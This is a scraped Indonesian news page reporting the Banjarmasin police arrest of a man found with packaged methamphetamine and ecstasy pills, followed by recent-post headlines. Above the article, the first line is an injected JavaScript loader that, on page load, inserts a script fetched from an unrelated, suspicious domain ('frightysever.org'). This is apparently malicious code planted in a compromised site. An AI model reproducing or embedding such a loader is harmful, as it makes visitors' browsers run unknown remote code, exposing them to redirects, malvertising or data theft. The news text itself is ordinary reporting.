(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Satresnarkoba Polresta Banjarmasin Ringkus Seorang Pengedar Narkoba


KANALKALIMANTAN.COM, BANJARMASIN – Ditresnarkoba Polresta Banjarmasin berhasil meringkus pengedar narkotika di jalan Pembangunan 1, Kelurahan Belitung Selatan, Kecamatan Banjarmasin Selatan, Selasa (1/6/2021) lalu.

Diketahui, tersangka adalah Muhammad Irfan alias Ifan (29), warga Jalan Sutoyo S, Gang Purnawirawan, RT 14, RW 01 Kelurahan Pelambuan, Kecamatan Banjarmasin Barat. Ia dibekuk lantaran kedapatan menyimpan sabu dan juga ekstasi.

Kapolresta Banjarmasin Kombes Pol Rachmat Hendrawan melalui Kasat Reskrim Kompol Mars Suryo Kartiko mengatakan, setelah dilakukan penggeledahan di rumah pelaku ditemukan barang bukti tersebut.

 

Baca juga: BREAKING NEWS. Pasar Taibah Padam, Kabar Kebakaran Muncul di Keraton Tengah

“Tersangka menyimpan bukti berupa paket sabu dengan berat total 49,01 gram, yang sudah dikemas menjadi 11 paket dan dia sembunyikan dalam kotak handphone di lantai di bawah kompor gas,” ujar Kasat Narkoba.

Sementara barang bukti lainnya berupa ekstasi sebanyak 15 butir dengan berat seberat 4.39 gram, juga ditemukan di tempat yang sama, namun di dalam kotak HP berbeda.

Pria yang sudah menjadi incaran pihak polisi itu pun tak lagi mampu berkutik, saat sejumlah barang bukti didapati di rumahnya.

“Petugas juga mengamankan barang bukti seperti timbangan digital, Sendok plastik warna oranye, sendok plastik yang terbuat dari sedotan,” beber Mars Suryo.

Baca juga: Kebakaran Pasar Taibah Martapura 12 Toko Ludes, Sumber Air Nyaris Tak Ada

Atas perbuatannya, pria itu dijerat dengan Pasal 112 (2) Undang-undang RI Nomor 35 Tahun 2009 tentang Narkotika.

Ifan beserta semua barang bukti yang ditemukan diamankan ke Sat Resnarkoba Polresta Banjarmasin untuk proses hukum lebih lanjut. (Kanalkalimantan.com/Tius)

Reporter: tius
Editor: cell


Al Ghifari

Recent Posts

Mantan Kajari HSU Ajukan Praperadilan, KPK Siap Ladeni Gugatan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More

17 menit ago

Hari Gizi Nasional 2026 “Sehat Dimulai dari Piringku”

KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More

4 jam ago

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

18 jam ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

19 jam ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

20 jam ago

Pembebasan Lahan Bendungan Riam Kiwa Mendesak Atasi Banjir Tahunan

KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More

24 jam ago

This website uses cookies.